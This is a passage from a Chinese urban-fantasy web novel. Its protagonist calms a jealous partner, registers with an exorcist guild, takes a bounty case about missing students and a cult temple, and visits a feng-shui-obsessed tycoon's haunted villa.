家里进了人,段安洛已经醒了,一睁眼就看到站在床边的人,高大的身形挡住了门口透进来的光线,投下极具压迫感的阴影。 段安洛甚至能清晰地感觉到那目光沉沉地落在自己身上,带着显而易见的怒意,无声的威压,让段安洛叹了口气,不是哄好了吗?怎么比之前更生气? 段安洛打了个哈欠,懒洋洋地问:“打电话的时候你怎么不说一声?客房都没收拾。” 司苍凉丝丝地问:“来抓奸,我还要提前通知你?” 段安洛被逗笑了,“你喝酒了?还是发烧了?” 司苍居高临下地看着他,“你找到解除契约的方法了?” 段安洛一愣,“什么?” 司苍走近一步,坐在床边,能清楚地看见段安洛的表情,“解吧。” 段安洛被逗笑了,他要是能解除,还要等到现在? “我解不开,给咱们俩下契的那个人已经死了,死契,懂吗?对方废了这么大的劲,才找到我这种命格的,还不得一下子就把你绑死了?就是再献祭几条人命,他们都在所不惜,怎么可能给你留解除的机会?” 就听司苍冷冷地问:“契约不解除,你就想找别人?” 他精神上有严重的洁癖,小时候,他在意的东西全都保不住,渐渐的,他对自己的东西产生了病态的占有欲,只要是他的,谁也不能碰,哪怕是他扔掉的,他也接受不了别人去碰触。 那些人死了之后,他已经好了很多,今天本来心情就不好,段安洛又激起他这种失控的情绪。 段安洛越听越迷糊,“什么找别人?谁想找别人?” 他无奈地拉住司苍的手腕,以为是自己爽约,惹司苍不高兴了,换位思考一下,这么远的路,任谁白跑一趟都会不高兴。 他轻声安抚:“咱俩解不开的,有事我第一个想到的就是你,因为我知道我还不清了,也不打算还了,你要是生气呢,我就哄哄你,等你不生气了,我再睡。” 司苍感觉一拳头打在空气上,不,是水上。 段安洛的性子,像水一样,时柔时激。 有时候像阳光下的溪水,清澈见底,能让人看到水底的鱼儿悠闲自得地嬉戏,能安抚一切,治愈一切。 有时候又气势汹汹,穿山凿壁,他发泄完后心情就好了,绝不会让自己不开心。 任何情绪朝着他打过去,都会被水包裹住。现在的段安洛,是柔和的水,安抚着司苍暴躁的情绪,滋养着他曾经血痕累累的心。 司苍一时间,所有的脾气都发不出来了。 段安洛见司苍不说话了,接着哄他:“你要是还生气,我就再哄你一会儿。你要是不生气了,就躺下睡吧,侧卧没有收拾过,你委屈一下。” 他真的困了,他懂医术,晚上不睡觉,等于慢性自杀。 司苍看着他这副没心没肺的样子,声音低沉地问:“现在跟以前不一样,民风开放,婚恋自由,同性婚姻合法,你邀请我跟你一起睡?” 段安洛失笑:“你们啊,哪有以前的人玩的花啊?” 现在的人都上学,接受正统的教育,没有阶级之分,道德感都变高了。 以前的人都分三六九等,有时候人命,都不如畜生值钱。 “让你睡你就睡,爷什么脏东西没见过?”段安洛翻了个身,给司苍留了位置,“放心吧,我不会占你便宜的。” 司苍睡也不是,不睡也不是,气氛正尴尬的时候,江源捧着铃铛跑过来,“师祖,我铃铛坏了!” 原本温润的铃铛表面出现一道细微的痕迹,要是不仔细看,真看不出来。 江源心疼得直抽抽,这铃铛替他挡下了致命一击,救了他的命。 他小心翼翼地摩挲着那个痕迹,“师祖,它还有救吗?” 段安洛看了一眼,“你每天念金刚经温养着,七天就能恢复。” “那就好!”江源松了口气,想走,看到司苍还在床边坐着,又站住了,他好奇地问:“你们和好了吗?师祖还换您吗?” 段安洛冷笑一声,原来是你小子! 他就纳闷呢,他本来把司苍哄好了,怎么又这么生气的跑来找他?段安洛指着外面,“现在就去念,以后每天早上都给我起来练功,敢贪睡就打断你的腿!” 江源:“……” 他真的只是关心一下,他什么都没干。 司苍站起身,去了侧卧。 不一会儿,段安洛听见那边传来的水声,心想着现在天气热,司苍又爱干净,不行就把那个房间单独留给司苍吧,省得别人住了司苍又不高兴。司苍的脸,六月的天,说变就变。 然后他就看见从8XL码变成XL码的小白,鬼鬼祟祟的钻进了客房。段安洛嫌弃,小白想它爹了,有了后爹,不要亲爹了。 第二天早上,段安洛收到一个快递,他补办的身份证到了,到付。 快递小哥走程序,不要现金,只要扫码。 段安洛可怜巴巴地看着司苍,“帮忙把钱付一下。” 快递小哥立马把收款码递给司苍。 默默掏手机扫码的司苍嘴角抽了抽,不知道自己是来干什么的。 段安洛拆开快递,从里面拿出身份证,看着照片上这张熟悉又陌生的脸,心里吐槽,确实像魂魄不全的。 林女士对孩子的滤镜太深了,都这样了,她竟然觉得她儿子只是不爱说话,性子高傲,有点任性而已。 段安洛赶紧拿着身份证把该补的都补了,补完他就后悔了:原身竟然欠了两万多的花呗! 段安洛一头扎在沙发上,自闭了,这日子没法过了。 司苍忍俊不禁,看他这么下去不是办法,“不行就考个证吧,收入稳定。” 段安洛闷闷地道:“有没有不被公会安排工作,还能赚钱的办法?就像上次,我蹭你们的任务,干完了给我钱的那种?” 昨晚那个任务,他都干一半了,却只拿到调查的钱,段安洛觉得太亏了。 坐在藤椅上的司苍站起来,“我带你去找会长,挂个编外人员的名号,想接任务就接,不想接就不接。不过这样没有固定工资。” “你们竟然还有固定工资?”跪着念经的江源插了一句嘴:“我怎么没有?” 段安洛瞪他一眼,“那是因为你等级不够,念八遍了,一点念力都没念出来,你……” 段安洛深吸一口气,算了,他天赋都不如猴子高,念死都没用。 司苍:“走吧,去找会长。” 段安洛点了点江源脑门,“起来吧,别念了,把家看好。” 江源站起来拍了拍腿,终于不用念了,多好字他都不认识,也不知道念了个啥,他也不敢问。 路上,段安洛问:“听白子越的意思,老头儿特别能唠叨,他一直唠叨你,你受得了?” 司苍冷下脸,一想就很烦。 段安洛想了想,含笑的说:“我教你,你要是躲不了,你就跟他道个歉。” 司苍嗤笑一声,“善后是他的工作,我为什么要道歉?” 段安洛撇撇嘴,这臭脾气,“你这样想,善后,也分心情好的时候,和心情不好的时候。你到个歉,让他好好干活,下次有事你就接着找他。 下次再把他惹生气,你就冷他两天,等他快消气了,你再回去给他道个歉。下下次,下下下次,还这样。 你不用多说,只说抱歉两个字就够了,我保证前五次,他绝不唠叨你,还高兴的给你善后。五次以后我再告诉你怎么办,放心吧,对付老头,我有经验,保证让他闭嘴。” 司苍没有说话,不知道听进去没有。 俩人到会长办公室的时候,老头儿正在喝茶,办公桌上堆满了文件,他就在桌子中间空出来一小块地方,捧着个茶杯,一边喝,一边闻,一脸陶醉。 那个味道,段安洛一下子就闻出来了,白子越当零食吃的那种茶叶,他竟然还有存货。 司苍直接说:“给他发个挂名的证,能上内部网,能接任务的那种。” 会长手一顿,从看到段安洛给那些人渣下咒,再看到段安洛对段明轩的手段,说实话,会长不想收他。段安洛心中有杆秤,他自己就给对方判刑了,这要是挂着公会的名头出去惹了祸,他怎么处理? 段安洛嘴角勾起来,乖巧的拱着手,对着会长鞠了一躬,“上次手工街的事情,给您添麻烦了。” “哎哟哟,”会长好长时间没看见这么乖的小伙子了,手一哆嗦,差点烫了手,他赶紧放下茶杯,站起来虚扶了一下,“不用这么客气,这是我的工作。” “该道谢的,是我们考虑不周,”段安洛自责的说:“本来第二天就想来给您道歉的,您也看到了,我这身体不太好,走不了远路,出门那么一会儿,回去就病了。” 段安洛对着会长再次拱手鞠躬,“这么晚才来给您道谢,是晚辈不对。” “这……哎呀,不用客气,真不用。”会长仔细看段安洛的脸色,跟上次比好了很多,还是和正常人有差别,看着也瘦弱。出去一趟,回来还生病了,看来也折腾不了多久。 再看段安洛的模样,又漂亮又乖,再看旁边冷着脸,跟活阎王一样的司苍,再想想自己身边的这些熊孩子,连茶叶都能给他嚼了,会长犹豫了,要不,给他一个?应该不会惹出大乱子吧。 就在会长犹豫的时候,段安洛瞪着司苍,“你也是,不要总给会长添麻烦,以后出去的时候少动手,不要拆人家房子,很贵的,会长要陪好多钱。” 司苍刚想张嘴,段安洛就掐住他的手腕,瞪他:“你别说话了。” 眼里却是:闭嘴,这事马上就成了,别逼我求你! 司苍张了张嘴,干脆找了个干净杯子,给自己倒了杯茶水,他要是说话,一会儿段安洛又要跟他吵架。 会长震惊的瞪大眼睛,假发歪了都没发现,司苍竟然听话的闭嘴了? 他立马就有了想法,这漂亮后生不能得罪,以后司苍不听话了,还得找他。怎么看,他也比司苍脾气好。 会长来不及多想,当即就给段安洛一张编外人员的证件,让助理带着他去开通权限,交给他怎么在网上接任务,怎么领钱。重点是把段安洛的联系方式留下来,多留几个,以后有事,好能第一时间找到他。 段安洛含笑的对司苍挑了挑眉,搞定~ 段安洛绑定了账号,一看公会的任务栏,就明白为什么工会的人这么有钱了,全是赏金! 根据等级不同,赏金也不一样,几千的,几万的,甚至十几万,几十万,上百万,多大金额的都有。 段安洛戳了个最高的,结果系统提示:等级不够。 小助理笑眯眯的告诉他:“昨晚那个邪佛的案子,已经做了一半,你可以接着做。你出力最多,可以申请多给你奖金,大概能拿到两万五。” 小助理帮他找到那个任务,段安洛直接点了接受。 小助理又点了点任务大厅的搜索栏,“以后你想找什么类型的任务,都可以在这里搜,点了接任务之后,你可以选择需不需要调查组和后勤协助,都不需要的话,奖金就是你自己的。” 段安洛很快就学明白了,激动的去找司苍。 司苍刚出会长办公室的门,一出来就被段安洛抱住胳膊,动作和江源差不多,“大哥!你就是我再生父母,以后我赚的每一分钱,都会记住你今天的大恩大德,你在我心里,就跟我爹一样!” 司苍脚下一个踉跄,“千万别。” 看段安洛对他爹的态度,就跟有仇一样,司苍可不敢有此殊荣,“你这么感谢我,不如把钱分我一半。” 段安洛立马就变脸了,“不可能。” 我拿你当爹,你竟然看上我的钱,这兄弟不能做了。 紧接着他给江源打了个电话,“昨晚那个任务,咱们继续做,你问问你队长,他们现在在哪里?” 挂电话后,他又问司苍:“你去不去?” 司苍刚要拒绝,会长就说话了:“他不去,他有别的任务。” 36 这个家,真是脏透了! 段安洛很想知道司苍平时都执行些什么任务,会是他没有权限查看的任务吗? 司苍面无表情地看着会长,眼里透着嫌弃。 老头心里咯噔一下,坏了,这是反骨仔的基因动了。 会长赶紧补充:“7号地的封印有异动,你过去看看。我有正式调令,文件马上就送到你休息室。” 司苍不耐烦地回了句:“知道了。” 会长在心里骂骂咧咧,明明不忍心看着普通人去死,嘴上硬说天下苍生干我屁事。那些老东西用“天下苍生”这四个字,把好好的孩子给折磨疯了。真想把他们的灰挖出来,找个山沟子给扬了。 再看段安洛,漂亮的小伙子接收到他的眼神后,立马转过脸,嘴角勾起一抹恰到好处的微笑,连眼睛都笑得跟这几天的月亮一样:弯弯的,亮亮的,纯净得不得了。 会长的心一下子就被治愈了,这孩子的妈妈真会生,怎么能把孩子生得这么漂亮,笑起来这么暖。 会长认真地说:“好好干,给你转正。” 段安洛开心地说:“谢谢会长叔叔,我都听您的。” 转头段安洛就研究那个红印章,看起来很好画的样子,不知道模仿会长的印章和笔迹,会长大叔会不会生气。 江源把许强发来的地址转发给段安洛,“师祖,我也一起去,队长说这样咱家能多领一份钱。” 段安洛:“你想去就去吧。” 他想说你注意安全,别丢了,然后就看到江源发过来的语音,重点嘱咐他:“您看见我发过去的位置了没有,您点开,这样我就能实时看到您的位置。您跟着导航走,导航看不明白就找人问问路,多找几个人问,别丢了。” 段安洛:“……” 加入公会之后,好处这就显现出来了:车多! 总部到各个分部,竟然有班车,地铁还有专线。必要时,甚至能开专列,直达,免费! 段安洛激动了:“我想坐地铁!我能坐地铁吗?” 司苍本来已经走出去好远,听到段安洛这话,又折回来吩咐小助理:“别让他一个人坐车。” 小助理用暧昧的眼神在他们两人身上扫来扫去,这么大的人了,一个人坐车走,司队都舍不得?白子越说的果然没错。 司苍想把小助理的脑瓜子摇匀了,眼神跟得了脑炎一样,段安洛没坐过地铁,出门肯定丢,以他那身本事,丢了还不知道会惹出什么祸来。 小助理只能亲自把段安洛送上地铁,不放心地嘱咐:“中途一共停五次,第六次才到你,你听见报站名再下车,出去直走,别拐弯,十步以内必有人接你。” 小助理足足嘱咐了三遍,怕把段安洛弄丢了,司苍找他要人。 段安洛一脸窘,他有这么不靠谱吗?他又不是个傻子! 上了车后,段安洛激动地摸摸座位,摸摸车门,摸摸扶手,然后掏出手机,兴奋地对着车厢各种拍照。第一次坐地铁,得发个朋友圈纪念一下。 等段安洛恋恋不舍地出了车门,立马就被提前等候的人拦住,总部给的描述很精确:第四个车门,长得最好看的那个,本事高,身体不好,没坐过高铁的富家小公子,看什么都像刘姥姥参观大观园,找他准没错。 段安洛遗憾地看了看周围,他还想参观一下地铁站的,不知道地铁站里有没有高铁和飞机,他都想摸一摸。 抵达分部的时候,江源都赶到半小时了。小孩以为他丢了,正想去寻他。 和许强打过招呼之后,段安洛直奔主题,“你们查得怎么样了?那个庙封了吗?” “封了!”这个分会的人主要任务是查学生失踪案,已经确定学生失踪是和吉祥天女庙有关,自然要仔细勘查。 他们绘制并拍摄出了地下室的详细地图,出口竟有十三个! 后勤人员已经把全部的出口全都封死,连庙也一起查封了。 “早上还有信徒去闹,咱们的人直接把虐杀的小动物尸体搬出去,摆了一大堆,虐杀动物,涉嫌拐卖人口,直接查封,谁说情都没用!” “那些信徒本来就是善良的人,他们信佛,平日里都不杀生,没想到在自己信奉的神明眼皮底下,惨死这么多的小动物,尸体就这么摆在眼前,那冲击,可想而知。” “信徒见状都不闹了,转而跟着一起骂,那些假和尚都被抓了,把小动物送过去的救助者也受不了刺激,哭半天了。” 段安洛好奇地问:“你们这个部门处理事情这么直接吗?直接就封了?” 年轻人义愤填膺:“干这种伤天害理的事,我们还替他们遮掩?庙都该给他拆了!” 段安洛这就放心了,看来他很完美地融入了这个公会,大家都想沉了那座庙。 对方也没想到,自己一句气话,被段安洛当真了。 江源蹲在一旁用手指头点着资料上的一排排文字,读完之后,没找到跟他一起打工的小伙伴,“小刘呢?昨天你们不是说他也被抓走了吗?” 许强遗憾地说:“还没找到,他妈妈本来身体就不好,现在直接住院了。” 段安洛指了指江源,“你根据小刘的生辰八字,推算一下他的位置。” 突然被点名的江源脸色一僵,掐着手指头算,那动作落在段安洛的眼里,跟得了鸡瘟的鸡爪子差不多。 段安洛看不下去了,自己掐指一算,跟别人要了张地图,在上面圈了几个点,然后用朱砂笔在纸上画了一只小鸟。 用小剪刀剪下来后,朱砂点上眼睛,注入灵气,段安洛轻轻地一吹,那纸剪的小鸟竟轻轻地飘起来。 它不像真鸟那样扑腾翅膀,而是轻盈地悬浮着,像被风轻轻托起来的纸片。 段安洛指着地图上的几个圈,“他就在这附近,等到了地方你们把它放出来,它会带你们去找。” 分会的人一听,眼睛都亮了,“我们现在就去,救人要紧。” 江源激动地说:“师祖,太神奇了!我也想学!” 段安洛好脾气地摸摸他的头,“等着吧,回头教你。” 至于什么时候回头,唉。他心中盘算着,该收徒弟了。主角团队里那几个天赋高的,得想办法找到,不当儿子就当徒弟,给他们自由选择的权利。至于源儿,不用学,会吃饭就行。 他们兵分两路,一队人按段安洛的指引去找被抓走的刘鑫,他们最初接的任务就是调查学生失踪。 段安洛则去找那个富豪,直觉告诉他,这人不干净。从因果上来说,只封了庙远远不够,背后的主使也必须揪出来,承担他的因果。 许强不是这个分会的,自然跟着江源走,正好他爷俩需要一个开车的。 许强没想到江源这个太爷爷这么年轻,都不知道怎么称呼他,比他年纪都小,叫叔都觉得吃亏,“那个,前辈啊,咱们找那个富豪,用什么罪名?我看资料上写的,这个老板给咱们公会捐过钱,经常做慈善,名声还不错。” 段安洛笑了笑:“看了才知道他犯了什么罪。” 许强也笑了笑,心里却犯嘀咕:这位前辈看着心慈面善,可这办事风格总感觉哪里不对劲。 段安洛掐指算了算:“他家就不用去了,肯定不让进,直接去他工作的地方。” 资料显示得很清楚:祥映股份有限责任公司,一家专门做电子代工的公司。老板叫郑信厚,总部在帝都,有一座写字大楼。代理工厂遍布全国,有十几家,总资产达到三十多亿。 段安洛从这个人的面相和名字上,真没看出他有这么大的财运,这里面绝对有问题。 到总部楼下,段安洛抬头望去,眉头微蹙,确定了,问题还不小。 那座吉祥仙女庙是郑信厚盖的,现在出了人命,郑信厚必然沾染因果。更何况还有虐杀生灵、害死三个学生这种滔天罪孽。 可从这栋大楼的外观气场来看,竟然一派清明,一丝因果的晦暗之气都没有。 段安洛轻轻“啧”了一声,改变了策略:“许大哥,你去问问,别说你是公会的人,就说我们是路过的大师,看到郑信厚家里怨气冲天,有冤魂索命,再晚他女儿就没命了。” 许强一脸为难,“这……这能行吗?” “放心吧,”段安洛语气笃定,“他信佛,自然就懂因果,你就吓唬他,怎么严重怎么说。” 许强硬着头皮下了车,问前台的人:“你们郑总在吗?” 前台负责人客气地说:“您好,请问您有预约吗?” “没有。我……我看到你们郑总家有冤魂缠身,索命的那种!”许强努力说得严重一些,表情严厉。 前台像看神经病一样看着他,“对不起,我们郑总在开会,您想见他需要提前预约。” “他女儿快死了,我们能救她,你问问郑总……” “对不起这位先生,如果您再胡说八道,我就叫保安了。” 旁边站岗的保安已经看过来,随时都会过来。 许强编不下去了,求助地看段安洛,要不就直接亮身份吧,就说他捐建的佛堂出事了,请他配合调查。 段安洛无奈地下了车,嫌弃地说:“你们这些人,太正派了,放不开手脚。” 他径直走到前台前,目光平静地和前台对视,眸色渐深,“现在,立刻打电话告诉郑信厚,他家里煞气冲天,有冤魂索命,他女儿有性命之忧,我等他三分钟,他不见我,就让他女儿等死吧。” 在这双眼睛的注视下,原本一脸公式化的前台就像被催眠了一样,鬼使神差地拿起内线电话,将段安洛的话一字不落地复述了过去。 段安洛接着说了一句:“你认识的那个大师救不了她,我能救。信不信在你,想救就下来见我。” 电话挂断后,前台才猛地回过神,脸色煞白,懊恼得几乎哭出来:“我……我怎么说出这样的话了?完了完了,工作要丢了……” 段安洛安抚道:“没事的,老板不会骂你的,我看你最近还有一笔财运进账。” 前台脸色一红,你说别的我不信,你说财运,我必须信了。 “姑娘,赶紧离开这个公司,下个月能找到更好的工作。”给这种老板打工,时间久了,会倒霉。 前台疑惑地张了张嘴,想到现在是上班时间,她忍住了,没敢多说话。 江源好奇地问:“师祖,您怎么知道这个老板认识大师?这是怎么算的?” 段安洛从口袋里掏出一根棒棒糖,“吃吧,少说话。” 根本不需要算,看看这里的摆设,按照风水学来说,每一样东西放的地点都像是用尺子精心量过的,见过哪家老板不研究赚钱,研究风水学?肯定找别人给他看的。 而且这个风水大师,和这个老板的关系很密切,他完全信任那个风水师,才会做到这么严苛地执行对方说的每一句话。 出乎所有人意料,不到三分钟,一个穿着昂贵西装的男人惊慌失措地从电梯里跑出来,他气息微乱,直奔段安洛面前,“你……你怎么知道我女儿生病了?” 来人正是郑信厚,资料上已经有六十七岁,不知道是保养得好,还是怎么回事,看起来也就五十岁,一根白头发都没有。 段安洛嘴角勾起一抹笑意,眼神里的神情却没什么温度,“那个佛堂,不就是你给你女儿祈福用的吗?可惜,她现在病情更严重了吧?梦魇缠身,夜不能寐,冤魂索命,痛苦不堪。你最近回到家也感觉不舒服吧,家里的怨气太重了。” 郑信厚目光微闪,正在心里盘算段安洛这个人有几分的可信度。 就听段安洛说:“我对你那佛堂为什么出事没兴趣,我只对你女儿身上的东西感兴趣,我需要一些东西,炼制法器。” 这种话普通人听起来像天方夜谭,对一个极度相信玄学的人来说,段安洛相信郑信厚能听得懂。 段安洛看着郑信厚的眼睛,嘴角勾着,眼神却越来越锐利,带着一种近乎贪婪的兴奋,他低头看着自己的掌心,仿佛在欣赏无形的猎物,眼神疯癫,带着狂热,“有了它们,我的功力就能翻一倍!” 不管别人信没信,江源信了。 “还能这样?”江源在一旁看得目瞪口呆,谨记长辈说话自己不能插嘴的原则,心里跟猫挠的一样,这么厉害的方法,师祖能不能教给他?他也想翻一倍。 许强已经不知道说什么了,段安洛不应该当天师,他适合当演员。 看看,眼神演得太吓人了,像个着魔的疯子,他要是去演邪修,能拿小金人。 郑信厚也被段安洛的眼神震住了,一时语塞。 段安洛却像是失去了耐心,盯着郑信厚的眼睛,瞳孔渐渐变深,“行不行,一句话?不行我就走了。” 郑信厚的脸色变幻不定,最终在段安洛的眼神暗示下,缓缓地说:“我女儿,确实身体不好,最近病得尤其重。如果你真能救她,钱,绝对不是问题。” “那就更好说了。”段安洛听到钱,眼里的贪婪再次放大,他慢悠悠地掏出一个小本子,“放心吧,郑总,我是紫砂不渡灵异事务所的老板,官方认证的,不会胡来。我保证把你女儿身边那些不干净的东西,都清理得干干净净。钱,你看着给。” 郑信厚看着那本盖着公会印章的证件,资产到了一定的金额,都知道这个公会,他们每年都会给这个公会捐钱,天下太平,他们的产品才能卖的出去,才能好好赚钱。 这个印章,他是认得的。 再看看段安洛这张年轻得过分,却又透着贪婪的脸,犹豫再三,最终还是点了点头:“好,那请大师随我回家里看看吧。” 如果这个大师是个正气凛然的人,他真不敢往家里领。 这种浑身透着邪气的最好应付了,钱就能摆平。 那个公会有规定,不能用玄术害人,但是可以抓鬼。事后给钱摆平,不沾染因果,就不算违规会规。 而且他女儿的病,必须要治了,她已经等不了了。他不能让女儿死,绝不能! 段安洛把“紫砂不渡灵异事务所”的证装进江源的背包里,让他收好,别丢了,他在车上画了很长时间的,下次还能接着用。 傍晚时分,车子驶入一片别墅区,最终停在一栋占地极广的四层欧式大别墅前。 从别墅外观上看,非常气派,高大的门廊,精心修剪的草坪,清凉干净的喷泉,处处都是金钱的味道。 段安洛抬头,目光落在了别墅的顶部。 在四层主楼之上,还有一个独立的阁楼。阁楼面积不大,从正面和侧面的边缘处,向外延伸出了一小截。 别人可能看不出什么,对于一个懂风水的人来说,如果后方也有对应的凸出结构,那阁楼的整体形状,就像一口被架在别墅顶部的棺材。 段安洛嘴角勾起来,这个老板如此的信奉风水之说,却在家里安了这么个玩意儿,有意思了。 进了客厅,里面更是富丽堂皇,巨大的水晶吊灯,光可鉴人的大理石,墙壁上还挂着价值不菲的油画,角落摆放着精美的古董花瓶和艺术摆件,处处彰显着主人的财富和奢华。 段安洛不得不说,他爹虽然恋爱脑,但是品味还行,家里有钱也没摆成这样,说真的,住在这种地方他觉得自己就像个展品,没有一点家的温馨。 与公司大楼一样,这栋奢华别墅内部,同样感受不到一丝一毫的因果业力或阴煞之气,干净得过分。 但站在段安洛身后的江源却忍不住搓了搓胳膊,低声嘀咕:“师祖,我怎么感觉有点冷?” 就是感觉湿漉漉的,像站在老家的水井边上,阴冷。 段安洛又从口袋里掏出一根棒棒糖,塞进江源手里,语气平淡却不容置疑:“接着吃糖,少说话。” 他环顾四周,目光扫过那些价值连城的摆设,最后落在郑信厚的脸上,语气透着玩味,“郑先生,要么你自己精通风水堪舆之术,造诣颇深;要么就是认识一位手段极其高明的风水大师,厉害。” 郑信厚脸上挤出一丝笑容:“大师过奖了,我确实认识一位风水方面的高人,家里的装修都是靠他指点过。” 段安洛点点头,“嗯,花瓶的摆放讲究藏风聚气,绿植的位置专克三煞,连窗帘的褶皱都暗含玄机,能改变气流的走向……啧啧,连最隐蔽的暗财位都被利用得淋漓尽致。郑总,您可真是把商、人、重、利、这四个字,发挥到了极致。” 这话听着别扭,段安洛的表情认真,看不出是夸奖还是嘲讽,郑信厚脸上的笑容顿时僵住了,显得有些尴尬。 就在这时,段安洛忽然话锋一转,目光看向二楼的楼梯处,“郑总,您妻子真年轻。” 郑信厚脸色一变,“大师说笑了,我妻子早就去世多年了。” “哦?”段安洛挑眉,眼神带着疑惑,手指着二楼的走廊处,“那刚才穿着蓝色旗袍,端着糕点从那边走过去,还冲我点头打招呼的,不是她吗?她下巴上有颗痣,那位置,一看就是有福之人。” 这下子,不仅郑信厚的脸色变了,连跟在郑信厚身后的管家脸色也变了。 因为早就去世的郑夫人,就是这个长相。脸上有痣,喜欢穿蓝色旗袍。 她去世之后,家里有关她的一切全都销毁了,连张照片都没有留下,这个大师这么年轻,是怎么知道她长相的? 调查过他? 还是真的看见了? 家里这段时间的怪事越来越多,难道真的是……郑信厚的心里有点慌了,他给管家使眼色,找机会离开,上去看看封印是不是松动了?